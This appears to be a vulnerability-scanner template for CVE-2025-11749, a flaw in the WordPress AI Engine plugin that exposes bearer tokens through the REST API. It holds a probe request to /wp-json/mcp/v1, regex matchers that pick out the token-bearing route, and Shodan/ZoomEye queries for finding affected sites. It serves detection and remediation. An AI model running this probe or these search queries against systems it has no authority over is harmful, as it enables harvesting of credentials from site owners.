CVE-2025-11749: WordPress AI Engine Plugin - Token Exposure

id: CVE-2025-11749

info:
  name: WordPress AI Engine Plugin - Token Exposure
  author: 4m3rr0r
  severity: critical
  description: |
    Unauthenticated sensitive information exposure in AI Engine WordPress plugin <= 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled.
  impact: |
    Unauthenticated attackers can retrieve sensitive bearer tokens from AI Engine WordPress plugin through exposed REST API endpoints, potentially allowing privilege escalation and unauthorized access to AI service credentials.
  remediation: |
    Upgrade to AI Engine version 3.1.4 or later that properly secures REST API endpoints and token handling.
  reference:
    - https://www.wordfence.com/blog/2025/11/100000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-ai-engine-wordpress-plugin/
    - https://cve.mitre.org/cgi-bin/cvename/cgi?name=CVE-2025-11749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-11749
    epss-score: 0.74759
    epss-percentile: 0.99477
  metadata:
    max-request: 1
    verified: true
    vendor: wordpress
    product: ai-engine
    shodan-query: 'http.html:"/wp-content/plugins/ai-engine/"'
    zoomeye-query: 'app:"WordPress" +web.body:"/wp-content/plugins/ai-engine/"'
  tags: cve,cve2025,wordpress,wp-plugin,ai-engine,exposure,token,vkev,ai,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/mcp/v1"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
        condition: and

      - type: regex
        part: body
        regex:
          - '\"\\/mcp\\/v1\\/([^\\/"]+)\\/messages\":{'
          - '\"\\/mcp\\/v1\\/([^\\/"]+)\\/sse\":{'
        condition: and
# digest: 4b0a00483046022100bd16ce573f5a056bbc5d78c0493617462bafa9f73111e8f0a41442e99aed69d3022100fbf2d3a2ab85f5bff36f372470450dd14bf1bf27c7f1ac18b2bf72ba9f0ee278:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.